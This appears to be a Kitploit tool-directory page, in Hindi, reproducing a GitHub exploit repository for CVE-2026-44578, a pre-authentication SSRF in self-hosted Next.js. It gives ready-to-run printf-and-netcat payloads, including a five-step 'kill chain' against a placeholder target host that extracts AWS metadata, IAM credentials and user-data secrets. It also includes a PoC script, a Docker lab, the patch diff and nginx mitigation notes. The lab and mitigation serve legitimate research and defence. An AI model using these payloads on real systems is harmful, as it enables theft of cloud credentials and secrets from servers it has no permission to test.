Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-44578 — CVE-2026-44578: Next.js WebSocket अपग्रेड SSRF — localhost:80 के माध्यम से प्री-ऑथ क्रेडेंशियल चोरी। लैब + एक्सप्लॉइट + ऑडिट। | Kitploit
उपकरण/GitHubGitHub/dinosn/cve-2026-44578
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणक्लाउड सुरक्षालर्निंग और शिक्षालैब और अभ्यास
GitHubdinosn/cve-2026-44578

CVE-2026-44578

CVE-2026-44578: Next.js WebSocket अपग्रेड SSRF — localhost:80 के माध्यम से प्री-ऑथ क्रेडेंशियल चोरी। लैब + एक्सप्लॉइट + ऑडिट।

रिपॉजिटरी देखें
9233 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-44578 — Next.js वेबसॉकेट अपग्रेड SSRF

Next.js स्व-होस्टेड डिप्लॉयमेंट में प्री-ऑथेंटिकेशन सर्वर-साइड रिक्वेस्ट फॉरजरी।
एक एकल क्राफ्टेड HTTP अनुरोध AWS क्रेडेंशियल्स, रहस्यों और आंतरिक सेवा डेटा को localhost:80 से निकालता है।

फ़ील्डमान
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CVSS 3.18.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
प्रकारSSRF (CWE-918)
प्रभावितNext.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 (केवल स्व-होस्टेड)
समाधान15.5.16, 16.2.5
प्रमाणीकरण आवश्यककोई नहीं
उपयोगकर्ता इंटरैक्शनकोई नहीं

असुरक्षा

router-server.ts में वेबसॉकेट अपग्रेड हैंडलर parsedUrl.protocol के सत्य होने पर proxyRequest() को कॉल करता है—बिना finished और statusCode रूटिंग-समाप्ति फ़्लैग्स की जाँच किए जो HTTP हैंडलर हमेशा लागू करता था।

root@kitploit:~
// router-server.ts — upgrade handler
- if (parsedUrl.protocol) {
-   return await proxyRequest(req, socket, parsedUrl, head)

// fix (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+   if (!statusCode) {
+     return await proxyRequest(req, socket, parsedUrl, head)
+   }
+   return socket.end()
  }

normalizeRepeatedSlashes के http:/// को http:/ में संक्षिप्त करने के बाद, होस्टनेम null होता है और http-proxy सही पथ के साथ localhost:80 से जुड़ता है। कोई भी सह-स्थित सेवा (क्लाउड मेटाडेटा, एडमिन पैनल, आंतरिक API) उजागर हो जाती है।


शोषण कमांड

root@kitploit:~
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000

curl निरपेक्ष-फॉर्म URI नहीं भेज सकता। रॉ TCP का उपयोग करें: nc, ncat, socat, या Python sockets।


यह कैसे काम करता है

root@kitploit:~
Attacker                     Next.js (vuln)              localhost:80 (IMDS/service)
   |                              |                              |
   | GET http:///latest/meta-data/|                              |
   | Connection: Upgrade          |                              |
   | Upgrade: websocket           |                              |
   |----------------------------->|                              |
   |                              | url.parse -> protocol:'http' |
   |                              | "///" matches regex          |
   |                              | normalizeRepeatedSlashes     |
   |                              |   "http:///" -> "http:/"     |
   |                              | Returns: finished:true       |
   |                              |   statusCode:308             |
   |                              |   hostname:null              |
   |                              |                              |
   |                              | BUG: only checks protocol   |
   |                              | proxyRequest -> localhost:80 |
   |                              |   GET /latest/meta-data/     |
   |                              |----------------------------->|
   |                              |     200 OK + credentials     |
   |                              |<-----------------------------|
   |    200 OK + credentials      |                              |
   |<-----------------------------|                              |

लैब प्रजनन

पूर्वापेक्षाएँ

  • Docker + Docker Compose
  • Python 3.10+
  • nc (netcat)

सेटअप

root@kitploit:~
git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh

यह 5 कंटेनर प्रारंभ करता है:

कंटेनरभूमिकाउजागर
nextjs-vulnNext.js 15.5.15 (असुरक्षित)localhost:3000
nextjs-fixedNext.js 15.5.16 (पैच किया गया)localhost:3001
imds-sidecar-vulnफर्जी AWS IMDSv1 जो असुरक्षित के साथ नेटवर्क साझा करता हैlocalhost:80 (असुरक्षित के दृष्टिकोण से)
imds-sidecar-fixedफर्जी AWS IMDSv1 जो फिक्स्ड के साथ नेटवर्क साझा करता हैlocalhost:80 (फिक्स्ड के दृष्टिकोण से)
internal-apiआंतरिक सेवा मॉक—

IMDS साइडकार network_mode: "service:nextjs-*" का उपयोग करते हैं ताकि फर्जी मेटाडेटा सेवा Next.js कंटेनर के अंदर localhost:80 पर हो—एक वास्तविक क्लाउड इंस्टेंस का मॉडलिंग करते हुए।

शोषण चलाएं

root@kitploit:~
# पूर्ण परीक्षण सूट (7 SSRF जांच)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all

# एकल क्रेडेंशियल निष्कर्षण
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

# पुष्टि करें कि पैच किया गया इंस्टेंस इसे ब्लॉक करता है
python3 ../exploit/poc.py -t http://localhost:3001 --test-all

टियरडाउन

root@kitploit:~
./teardown.sh

साक्ष्य

1. लैब चल रही है

सभी कंटेनर ऊपर—असुरक्षित (15.5.15) :3000 पर, पैच किया गया (15.5.16) :3001 पर, IMDS साइडकार नेटवर्क नेमस्पेस साझा कर रहे हैं।

Lab Running

2. SSRF — AWS मेटाडेटा सूची

एकल अनुरोध पूर्ण EC2 मेटाडेटा निर्देशिका (ami-id, instance-id, iam/, placement/, आदि) लौटाता है।

Metadata Listing

3. SSRF — IAM क्रेडेंशियल निष्कर्षण

पूर्ण IAM क्रेडेंशियल सेट: AccessKeyId, SecretAccessKey, Token, और Expiration।

IAM Credentials

4. SSRF — उपयोगकर्ता-डेटा रहस्य

EC2 उपयोगकर्ता-डेटा बूटस्ट्रैप स्क्रिप्ट जिसमें DB_PASSWORD और API_KEY शामिल हैं।

User-Data Secrets

5. SSRF — इंस्टेंस पहचान

इसी SSRF वेक्टर के माध्यम से इंस्टेंस ID निकाली गई।

Instance ID

6. पैच किया गया इंस्टेंस — ब्लॉक किया गया

Next.js 15.5.16 के विरुद्ध समान पेलोड। कनेक्शन तुरंत बंद—कोई डेटा वापस नहीं।

Patched Blocked

7. IMDS लॉग्स — सर्वर-साइड निष्पादन का प्रमाण

फर्जी IMDS लॉग दिखाते हैं कि GET अनुरोध 127.0.0.1 (Next.js प्रक्रिया) से आ रहे हैं, यह साबित करता है कि SSRF सर्वर-साइड है।

IMDS Logs

8. पूर्ण PoC सूट — असुरक्षित (7/7 पुष्टि)

सभी 7 SSRF परीक्षण संवेदनशील डेटा लौटाते हैं।

Full Suite Vuln

9. पूर्ण PoC सूट — पैच किया गया (0/7 ब्लॉक)

सभी 7 परीक्षण पैच किए गए इंस्टेंस पर ब्लॉक। समाधान पुष्टि।

Full Suite Patched


किल चेन पेलोड

root@kitploit:~
# 1. मेटाडेटा श्रेणियाँ सूचीबद्ध करें
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 2. इंस्टेंस ID
printf "GET http:///latest/meta-data/instance-id HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 3. IAM भूमिका खोजें
printf "GET http:///latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 4. IAM क्रेडेंशियल निकालें
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 5. उपयोगकर्ता-डेटा रहस्य
printf "GET http:///latest/user-data HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

T को लक्ष्य होस्ट से और ROLE को IAM भूमिका नाम से बदलें।


बाधाएं

सीमाविवरण
HTTP विधिकेवल GET
लक्ष्यlocalhost:80 (होस्टनेम सामान्यीकरण द्वारा हटा दिया गया)
AWS IMDSv2शोषण योग्य नहीं (PUT की आवश्यकता है)
GCP मेटाडेटाशोषण योग्य नहीं (अपग्रेड हेडर को अस्वीकार करता है)
Vercel-होस्टेडप्रभावित नहीं
रिवर्स प्रॉक्सी के पीछेnginx/Caddy/HAProxy निरपेक्ष-फॉर्म URI ब्लॉक करते हैं

पहचान और शमन

root@kitploit:~
# Nginx: निरपेक्ष-फॉर्म अनुरोध URI को अस्वीकार करें
if ($request_uri ~* "^https?://") {
    return 400;
}

AWS पर: IMDSv2 लागू करें (HttpTokens=required)।

लॉग सिग्नेचर:

  • Failed to proxy http:/ — प्रॉक्सी ट्रिगर हुआ लेकिन लक्ष्य अप्राप्य
  • http:///path वेरिएंट कोई एरर लॉग नहीं उत्पन्न करता है—अनुरोध पंक्ति में http: के साथ वेबसॉकेट अपग्रेड की निगरानी करें

संदर्भ

स्रोतलिंक
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-44578
GHSAhttps://github.com/advisories/GHSA-c4j6-fc7j-m34r
फिक्स कमिटhttps://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8
Hadrian लेखhttps://hadrian.io/blog/next-js-websocket-ssrf-unauthenticated-access-to-internal-resources-cve-2026-44578-2
सार्वजनिक PoC (nextssrf)https://github.com/ynsmroztas/nextssrf

अस्वीकरण

केवल अधिकृत सुरक्षा परीक्षण, शिक्षा, और रक्षात्मक अनुसंधान के लिए। केवल उन सिस्टम के विरुद्ध उपयोग करें जिनके आप मालिक हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट लिखित अनुमति है।

टूल डाउनलोड करें